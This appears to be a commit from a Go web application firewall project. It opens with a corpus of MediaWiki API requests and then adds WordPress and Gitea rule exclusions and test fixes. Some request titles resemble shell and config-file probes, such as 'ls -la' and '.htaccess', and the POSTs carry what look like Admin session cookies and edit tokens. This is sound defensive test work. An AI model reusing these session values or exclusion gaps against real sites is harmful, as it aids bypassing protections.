{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2FLighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Python3+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2Fpython3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Powershell+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2Fpowershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Ls+-la+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2Fls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=.htaccess+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2F.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 142", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0ALighthouse+notes&wpEditToken=c2464b164b92dc191a5755c27e88643d6af26938%2B%5C"}
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 139", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0APython3+notes&wpEditToken=c2464b164b92dc191a5755c27e88643d6af26938%2B%5C"}
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 161", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=2%401794271545%23fad50a8505bea134cc843d03608984cc; UseDC=master"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0APython3+notes%0D%0APowershell+notes&wpEditToken=b2872c8548fbba5f193e80b549d5da2f6af26939%2B%5C"}
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 179", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794271545%23fad50a8505bea134cc843d03608984cc"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0APowershell+notes%0D%0APython3+notes%0D%0ALs+-la+notes&wpEditToken=b2872c8548fbba5f193e80b549d5da2f6af26939%2B%5C"}
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 200", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794271545%23fad50a8505bea134cc843d03608984cc"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0ALs+-la+notes%0D%0APowershell+notes%0D%0APython3+notes%0D%0A.htaccess+notes&wpEditToken=b2872c8548fbba5f193e80b549d5da2f6af26939%2B%5C"}
+10 -1
View File
@@ -1,10 +1,17 @@
# The ninth change: on WordPress's paths, some fields skip the rules that refused
# WordPress's fixes: on WordPress's paths, some fields skip the rules that refused
# ordinary WordPress requests there. Each exclusion runs with the request, before
# the rules it switches off, so this file is loaded before the Core Rule Set's
# rules. Each comment names a request the rule refused. An exclusion on a field
# of a body applies only when the query has no parameter of that name, so it
# matters only while SWW_WAF_BODY_LIMIT is set.
# Unless SWW_APPS lists wordpress for the request's hostname, every rule below is
# skipped. Inspect sets tx.app_wordpress when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_wordpress itself.
SecRule &TX:app_wordpress "@eq 0" \
"id:900690,phase:1,pass,nolog,skipAfter:END_WORDPRESS"
# WordPress takes a call to its REST API at any of four addresses:
# /wp-json/wp/v2/posts/1
# /index.php/wp-json/wp/v2/posts/1
@@ -195,3 +202,5 @@ SecRule REQUEST_FILENAME "@rx ^/(?:(?:index\.php/)?page/[0-9]+/?|index\.php)?$"
# so skips 932340 there.
SecRule REQUEST_FILENAME "@streq /wp-admin/upload.php" \
"id:900711,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932340;ARGS:_wp_http_referer"
SecMarker END_WORDPRESS
@@ -10,6 +10,7 @@ import (
"testing"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
@@ -21,6 +22,7 @@ const (
wafDisabledRules = "SWW_WAF_DISABLED_RULES"
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
wafBodyLimit = "SWW_WAF_BODY_LIMIT"
apps = "SWW_APPS"
block = "block"
detect = "detect"
)
@@ -290,6 +292,27 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
}
}
func TestGiteasFixesApplyOnlyToAHostnameThatServesGitea(t *testing.T) {
t.Parallel()
// Only gitea's fixes let a file name through in path, a parameter
// gitea sends file names in.
const fileName = "/?path=.gitignore"
s := startDiscriminator(t, "", map[string]string{
wafMode: block, apps: siteA + ":gitea",
})
wantDisposition(t, do(t, s.question(siteA, client, fileName)),
http.StatusOK, discriminator.DispositionAllow)
wantDisposition(t, do(t, s.question(siteB, client, fileName)),
http.StatusForbidden, discriminator.DispositionDeny)
lines := s.out.requestLines(t, 2)
wantLine(t, lines[0], http.StatusOK, requestlog.ActionForward)
wantLine(t, lines[1], http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet)
}
func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) {
t.Parallel()
+3 -1
View File
@@ -221,7 +221,8 @@ func newReputation(
// NewCoreRuleSet returns the Core Rule Set at SWW_WAF_PARANOIA_LEVEL,
// without the rules SWW_WAF_DISABLED_RULES switches off, reading bodies
// up to SWW_WAF_BODY_LIMIT, with the exclusions in
// SWW_CORE_RULE_SET_EXCLUSIONS_FILE, or nil while SWW_WAF_MODE is off. It
// SWW_CORE_RULE_SET_EXCLUSIONS_FILE and the fixes of the apps in SWW_APPS,
// or nil while SWW_WAF_MODE is off. It
// reads at most QuestionBodyMaxBytes less one byte: a question's body of
// QuestionBodyMaxBytes may be cut short, and the Core Rule Set does not read a
// JSON or XML body over its limit. An exclusions file that coreruleset.New refuses is
@@ -236,6 +237,7 @@ func NewCoreRuleSet(cfg *config.Config) (*coreruleset.CoreRuleSet, error) {
ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules,
BodyLimit: min(cfg.WAFBodyLimit, QuestionBodyMaxBytes-1),
ExclusionsFile: cfg.CoreRuleSetExclusionsFile,
Apps: cfg.Apps,
})
if err != nil {
return nil, fmt.Errorf("SWW_CORE_RULE_SET_EXCLUSIONS_FILE: %w", err)
@@ -153,14 +153,10 @@ func TestUnsetRouteWatchChangesNothing(t *testing.T) {
func TestUnreachableRouteWatchLetsTheRequestThroughAndSaysWhy(t *testing.T) {
t.Parallel()
// A stand-in that is closed at once, so that the port refuses connections.
dead := httptest.NewServer(http.NotFoundHandler())
url := dead.URL
dead.Close()
// Another test can take a closed server's port at once, so routewatch's
// address here is a multicast address, to which TCP cannot connect.
s, _, _ := startWithClock(t, "", map[string]string{
lookupSource: off, routeWatchURL: url,
lookupSource: off, routeWatchURL: "http://224.0.0.1",
})
wantTagsMissing(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward),
+7 -2
View File
@@ -239,12 +239,17 @@ func TestAnswerRoutewatchCannotBeTakenFromFails(t *testing.T) {
}
}
func TestRefusedConnectionFailsTheQueryAndTheLogOmitsTheClient(t *testing.T) {
func TestUnreachableRoutewatchFailsTheQueryAndTheLogOmitsTheClient(t *testing.T) {
t.Parallel()
f := newFixture(t, answering(routedAnswer))
f.server.Close()
// Another test can take a closed server's port at once, so routewatch's
// address here is a multicast address, to which TCP cannot connect.
f.client = routewatch.New(routewatch.Params{
URL: "http://224.0.0.1/", Now: f.clk.Now,
ProcessLog: slog.New(slog.NewTextHandler(f.log, nil)),
})
f.route()
f.waitFor(routewatch.RequestFailed)
+96 -7
View File
@@ -5,7 +5,6 @@ import (
"context"
"encoding/pem"
"io"
"maps"
"net"
"net/http"
"net/http/httptest"
@@ -14,6 +13,7 @@ import (
"path/filepath"
"strconv"
"strings"
"sync"
"sync/atomic"
"syscall"
"testing"
@@ -195,7 +195,13 @@ func TestTheSiteAnswersWhileDiscriminatorIsStoppedAndStartedAgain(t *testing.T)
env := discriminatorSettings(t)
addr, _, stop := startDiscriminator(t, env)
site, out := startRProxy(t, "http://"+addr, startApp(t))
// rproxy asks discriminator through an address the test holds throughout,
// so no other test can take it while discriminator is stopped.
backend, forwardTo := startForwarder(t)
forwardTo(addr)
site, out := startRProxy(t, "http://"+backend, startApp(t))
// A visitor who keeps asking throughout, and is never refused.
visitorDone := make(chan struct{})
@@ -221,6 +227,10 @@ func TestTheSiteAnswersWhileDiscriminatorIsStoppedAndStartedAgain(t *testing.T)
wantStatus(t, site+bannedProbe, placed, http.StatusForbidden)
wantStatus(t, site+"/", placed, http.StatusForbidden)
// rproxy's connections are closed at once from here, before discriminator
// stops and frees its port.
forwardTo("")
stop()
// With discriminator down, the site answers, and rproxy says the default did it.
@@ -232,12 +242,14 @@ func TestTheSiteAnswersWhileDiscriminatorIsStoppedAndStartedAgain(t *testing.T)
t.Errorf("rproxy's line is %v", line)
}
// Back at its address, with its state files, it applies the ban again.
restarted := maps.Clone(env)
restarted[listenAddr] = addr
_, _, stop = startDiscriminator(t, restarted)
// Started again with its state files, it applies the ban again.
addr, _, stop = startDiscriminator(t, env)
forwardTo(addr)
defer stop()
defer func() {
forwardTo("")
stop()
}()
wantStatus(t, site+"/", placed, http.StatusForbidden)
@@ -249,6 +261,83 @@ func TestTheSiteAnswersWhileDiscriminatorIsStoppedAndStartedAgain(t *testing.T)
}
}
// startForwarder listens at a free port until the test ends, and returns its
// address and what sets the address it forwards to. It forwards each
// connection it takes to that address, and closes the connection at once while
// the address is "".
func startForwarder(t *testing.T) (string, func(addr string)) {
t.Helper()
ctx := t.Context()
listener, err := (&net.ListenConfig{}).Listen(ctx, "tcp", localhost+":0")
if err != nil {
t.Fatalf("listen: %v", err)
}
t.Cleanup(func() {
_ = listener.Close()
})
var (
mu sync.Mutex
to string
)
// dial connects to the address set, and returns nil while it is "". It
// holds the lock throughout, so once another address is set, nothing
// connects to the one before.
dial := func() net.Conn {
mu.Lock()
defer mu.Unlock()
if to == "" {
return nil
}
conn, err := (&net.Dialer{}).DialContext(ctx, "tcp", to)
if err != nil {
return nil
}
return conn
}
go func() {
for {
conn, err := listener.Accept()
if err != nil {
return
}
upstream := dial()
if upstream == nil {
_ = conn.Close()
continue
}
go pipe(upstream, conn)
go pipe(conn, upstream)
}
}()
return listener.Addr().String(), func(addr string) {
mu.Lock()
defer mu.Unlock()
to = addr
}
}
// pipe copies src to dst until src ends, then closes both, which ends the copy
// the other way too.
func pipe(dst, src net.Conn) {
_, _ = io.Copy(dst, src)
_ = dst.Close()
_ = src.Close()
}
// answersNormally reports whether a request to url from the client at from, as
// X-Forwarded-For names it, gets the app's answer.
func answersNormally(ctx context.Context, url, from string) bool {
+14 -3
View File
@@ -975,9 +975,20 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) {
t.Errorf("no line dropped in the metrics:\n%s", metrics)
}
// Closed, the endpoint refuses the connection made to send the
// lines still waiting at the stop, which then does not wait.
_ = endpoint.Close()
// From here the endpoint closes each connection it takes, so the
// one made to send the lines still waiting at the stop fails at
// once. Closing the endpoint instead would free its port for
// another test to take.
go func() {
for {
conn, err := endpoint.Accept()
if err != nil {
return
}
_ = conn.Close()
}
}()
})
out.line(t, "type", "request")